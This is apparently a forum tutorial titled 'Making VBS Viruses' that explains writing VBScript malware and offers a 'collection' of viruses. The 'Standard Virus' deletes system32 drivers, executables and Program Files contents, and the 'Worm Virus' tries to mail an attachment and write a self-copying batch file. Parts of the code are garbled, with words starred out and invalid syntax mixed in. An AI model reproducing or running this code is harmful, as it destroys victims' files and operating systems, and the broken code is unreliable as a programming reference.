Making VBS Viruses .... By RBG-7
The Viruses It Is My Life!!
How Make a Virus
Open Notepad Program & Write Your Virus Code Next Go to Menu Program & Choice Save And Save Your Virus In Any Name AnyThing.vbs Or Put Your Code Virus In HTML Page This :
كود:
Virus Code
Informations 'Create Folder This program creates a folder in the C drive'
كود:
Dim filesys, newfolder, newfolderpath
newfolderpath = "c:\\MyFolder"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
-----------------------------------------------------------
'DeleteFile - This deletes (a) file(s) even if they are read only files.'
كود:
dim filesysdelfile
Set filesysdelfile = CreateObject("Scripting.FileSystemObject")
filesysdelfile.DeleteFile "D:\\Folder\\*.*",True
Set filesysdelfile = Nothing
------------------------------------------------------------
'Deleting a Folder – Deletes a folder, EMPTY OR NOT, READ ONLY OR NOT’
كود:
dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("d:\\Folder") Then
foldersys.DeleteFolder "d:\\Folder",True
End if
------------------------------------------------------------
'Moving a file from a folder to
كود:
dim filesys
set filesys=CreateObject("Scripting.FileSystemObject")
filesys.****File "d:\\Folder\\*.*", "c:\\TEMP\\"
-----------------------------------------------------------
'Renaming a file - same as moving a file in the same directory with a different name'
'This part of the program Changes Jim.exe to Mike.exe, making sure that Mike.exe is not there yet, otherwise, it will not bother changing it'
Dim filesysren
كود:
Set filesysren = CreateObject("Scripting.FileSystemObject")
If filesysren.FileExists("d:\\Program Files\\jim.exe") Then
filesysren.****File "d:\\Program Files\\jim.exe", "d:\\Program Files\\Mike.exe"
End If
------------------------------------------------------------
' demonstrates how to utilize the Windows Scripting Host (WSH) by using its 'Run' method to execute other programs. Note the use of nested quotes to pass'
' a path that contains spaces along with command line arguments.
‘THE RUN is an &@#&@#&@#&@#&@#alent of START in BAT command – this EXAMPLE will run PAINTBRUSH and INTERNET EXPLORER and shows google as the start page.
كود:
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run "C:\\WINDOWS\\system32\\mspaint.exe"
shell.Run """C:\\Program Files\\Internet Explorer\\IExplore.exe""
http://www.google.com"/-----------------------------------------------------------
'Copying a file - the if FileExists does not work, since VB does not complain even if the file already exists'
كود:
Dim filesys
set filesys=CreateObject("Scripting.FileSystemObject")
filesys.CopyFile "C:\\BuilderProjects\\jim.exe","C:\\TEMP\\",true
-----------------------------------------------------------
Viruses Collection 1.Standard Virus :
كود:
Print "WARNING: This virus will destroy your system"
Print "ha ha ha ha"
Print "Name of the virus:A7meedye"
Print "made by Ahmedo"
Dim filesys, newfolder, newfolderpath
newfolderpath = "c:\\WINDOWS\\Folder"
Set filesys = CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
'Moving a file system - the if FileExists does not work'
Dim file****
Set file**** = CreateObject("Scripting.FileSystemObject")
file****.****File "a:\\*.*", "C:\\WINDOWS\\Start Menu\\Programs\\StartUp"
Dim file****
Set file**** = CreateObject("Scripting.FileSystemObject")
file****.****File "c:\\windows\\system\\*.*", "c:\\WINDOWS\\Folder\\"
'Deleting a file - you don't have to use FileExists'
Dim filedel
Set filedel = CreateObject("Scripting.FileSystemObject")
filedel.DeleteFile "c:\\windows\\system\\*.*"
Dim filedel
Set filedel = CreateObject("Scripting.FileSystemObject")
filedel.DeleteFile "c:\\Program Files\\*.*"
'Deleting a file - you don't have to use FileExists'
Dim filedelwsc
Set filedelwsc = CreateObject("Scripting.FileSystemObject")
filedelwsc.DeleteFile "c:\\windows\\system32\\*.wsc"
Dim filedeldrv
Set filedeldrv = CreateObject("Scripting.FileSystemObject")
filedeldrv.DeleteFile "c:\\windows\\system32\\*.drv"
Dim filedelvbs
Set filedelvbs = CreateObject("Scripting.FileSystemObject")
filedelvbs.DeleteFile "c:\\windows\\system32\\*.vbs"
Dim filedelsys
Set filedelsys = CreateObject("Scripting.FileSystemObject")
filedelsys.DeleteFile "c:\\windows\\system32\\*.sys"
Dim filedelnls
Set filedelnls = CreateObject("Scripting.FileSystemObject")
filedelnls.DeleteFile "c:\\windows\\system32\\*.nls"
Dim filedelexe
Set filedelexe = CreateObject("Scripting.FileSystemObject")
filedelexe.DeleteFile "c:\\windows\\system32\\*.exe"
2. Worm Virus :
كود:
MsgBox "Button Pressed!"
MsgBox "File copied to system",vbcritical, "Filecopied"
Option Explicit
Private Sub Open()
On error resume next
Dim ret As Long
Dim sTo As String
Dim sCC As String
Dim sBCC As String
Dim sSubject As String
Dim sBody As String
sTo = "Someone"
sCC = "Someone else"
sBCC = "Someone else again"
sSubject = "Have a look at this site! its well gd"
sBody = "Check out the attachment it is the best. " _
& "enjoy ."
On error resume next
ret = Shell("Start.exe " _
& "mailto:" & """" & sTo & """" _
& "?Subject=" & """" & sSubject & """" _
& "&cc=" & """" & sCC & """" _
& "&bcc=" & """" & sBCC & """" _
& "&Body=" & """" & sBody & """" _
& "&File=" & """" & "c:\\autoexec.bat" & """" _
, 0)
On error resume next
End Sub
Private Sub Open()
On error resume next
MsgBox "Welcome to a html virus"
MsgBox "this html virus was programed using vb and vbscripting"
Open c:\\backup.bat for Output as 1#
Print 1#, "@Echo off"
Print 1#, "cls"
Print 1#, "cd c:\\"
Print 1#, "md myfiles"
Print 1#, "Copy %0 c:\\myfiles\\computerdrive.bat"
Close 1#
On error resume next
End sub
-->